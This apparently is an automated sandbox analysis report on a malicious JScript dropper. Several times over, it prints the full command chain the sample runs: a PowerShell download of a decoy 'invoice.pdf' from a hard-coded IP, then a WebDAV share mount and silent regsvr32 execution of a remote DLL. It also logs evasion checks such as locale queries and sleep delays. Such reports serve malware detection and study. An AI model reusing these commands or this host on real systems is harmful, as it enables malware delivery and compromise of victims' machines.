Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3015.js.csv");ITextStream.WriteLine(" entry:7983 f:fvfaq");ITextStream.WriteLine(" exec:2 f:fvfaq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4801			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5035			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep count: 4801 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep count: 5035 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 380	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4460	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1832	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6480	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2175157065.00000169DA2C7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2179153486.00000169DA2C7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2178758543.00000169DA268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3398639675.000001FFDBC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3399722222.000001FFE1258000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
